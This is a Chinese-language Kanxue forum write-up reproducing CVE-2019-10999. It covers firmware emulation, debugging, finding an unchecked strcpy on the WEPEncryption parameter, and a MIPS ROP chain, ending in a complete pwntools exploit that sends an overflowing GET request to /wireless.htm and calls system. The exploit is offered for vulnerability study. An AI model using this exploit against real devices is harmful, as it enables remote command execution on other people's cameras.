CVE-2019-10999复现学习
本文为看雪论坛精华文章
看雪论坛作者ID:Catsay
固件仿真
http://github.com/yywz1999/docker-qemu-system
下载好后按照readme安装,连接ssh上去。
然后去打包固件
tar -zcvf cpio.tar.gz cpio-root
上传到docker, 切换到root权限。
仿真:
mount -o bind /dev/ ./dev/
mount -t proc /proc/ ./proc
chroot . ./bin/sh进入sh。
./etc_ro/rcS中找到了internet.sh文件。查找这个文件它位于:./sbin/internet.sh
在这个文件中又看到了一个 [lan.sh](http://lan.sh) 【./sbin/lan.sh】文件。
继续查看:
发现了关于web启动的相关信息。
确定了这个固件启动web服务的程序为:alphapd
killall -q alphapd
sleep 1
alphapd &
无法打开pid file,创建一个。
再次报错:
创建nvramd.pid:
./gdbserver-mipsel :23946 ./bin/alphapd
调试查看v4的值, 可以发现这里是通过 gpio 接口来获取IP的。
但是我们是仿真的,并没有这个接口, 所以我们直接去Patch。
patch后运行:
调试
关闭aslr:echo 0 > /proc/sys/kernel/randomize_va_space
./gdbserver-mipsel :23946 --attach alphapdPID
在gdb-multiarch中
set arch mips
set endian little
target remote 192.168.50.214:40496
挖掘漏洞
通过对程序分析,寻找敏感函数,最终找到了一个 strcpy 用户可控的输入位置。
可以看到这里的 v11 只有四个字节。v8 是由 v10 赋值,而他是从 WEPEncryption 获取的。而且并没有长度检查。
交叉引用找到调用点:
找到了 formDefineWireless 函数, 在web页面中找到了相似关键字。
于是测试发包:
程序crash,并且控制了PC寄存器。 于是我们开始测试溢出长度:
> cyclic -l 0x6161616b
40
下面我们就可以来寻找gadget打这个溢出。
Libc基地址
0x77eda000
Rop
想要打出system的话,我们这里就需要来控制 a0 寄存器作为函数调用的参数。
这是找到的gadget:
.text:0004A604 addiu $s2, $sp, 0x1E8+var_F8
.text:0004A608 move $a0, $s2
.text:0004A60C move $t9, $s0
.text:0004A610 jalr $t9 ; sub_49DF0
栈中地址存到 s2 寄存器中,然后 s0 寄存器存入 t9 然后调用函数。
所以我们的exp就可以写了:
import socket
from pwn import *
context.log_level = 'debug'
context.arch = "mips"
Libc_Addr = 0x77eda000
system_Addr = 0x0045080
cmd = "echo${IFS}'Pwn!'"
gadget = 0x004A608
payload = cyclic(16).upper()
payload += p32(Libc_Addr+system_Addr) # S0
# p -> 0x77F24604
payload += 'BBBB' # S1
payload += p32(0x7fffe2a8) # S2
payload += 'DDDD' # S3
payload += 'EEEE'
payload += 'FFFF'
payload += p32(Libc_Addr+gadget) # PC
payload += 'HHHH'
payload += cmd
if __name__ == '__main__':
#key = "Content-Type:text/html;charset:utf-8\r\n"
RHOST = '127.0.0.1'
RPORT = 40080
request = ""
request+= "GET /wireless.htm?WEPEncryption={} HTTP/1.1\r\n".format(payload)
request+= "Host: {}:{}\r\n".format(RHOST,str(RPORT))
request+= "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0"
request+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
request+= "Accept-Language: en-US,en;q=0.5"
request+= "Accept-Encoding: gzip, deflate"
request+= "Connection: close"
request+= "Upgrade-Insecure-Requests: 1"
request+= "\r\n\r\n"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
s.send(request)
print(request)
# msg = s.recv(1024)
s.close()
# print msg
看雪ID:Catsay
http://bbs.pediy.com/user-home-642281.htm
*本文由看雪论坛 Catsay 原创,转载请注明来自看雪社区
往期推荐
1. 内核漏洞学习-HEVD-UninitializedStackVariable
3. 内核漏洞学习-HEVD-NullPointerDereference
4. Golang版本简易fuzzer及debugger实践
5. Windows内核逆向——<中断处理 从硬件机制到用户驱动接管>
6. Chrome v8 issue 1234770( CVE-2021-30599)漏洞分析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
- CVE-2022-21882提权漏洞学习笔记
- wibu证书 - 初探
- 2022羊城杯竞赛 Web题目解析
- CVE-2020-1054提权漏洞学习笔记
- 逆向分析sign算法
- CVE-2021-38001漏洞利用
- Frida-objection 基础使用获取FLAG
- CVE-2013-3660提权漏洞学习笔记
- 利用AndroidNativeEmu完成多层jni调用的模拟
- 因优化而导致的溢出与CVE-2020-16040
- LLVM PASS PWN 总结
- win10 1909逆向之APIC中断和实验
- sql注入学习分享
- CVE-2021-3493复现
- 逆向篇:解决快牙不能扫码问题
- 基于某钉探索针对CEF框架的一些逆向思路
- Android 10属性系统原理,检测与定制源码反检测
- 太猖獗!近期勒索攻击事件频发,业内人士发表见解
- House of cat新型glibc中IO利用手法解析 & 第六届强网杯House of cat详解
- 实现一个压缩壳,并给它加点“料”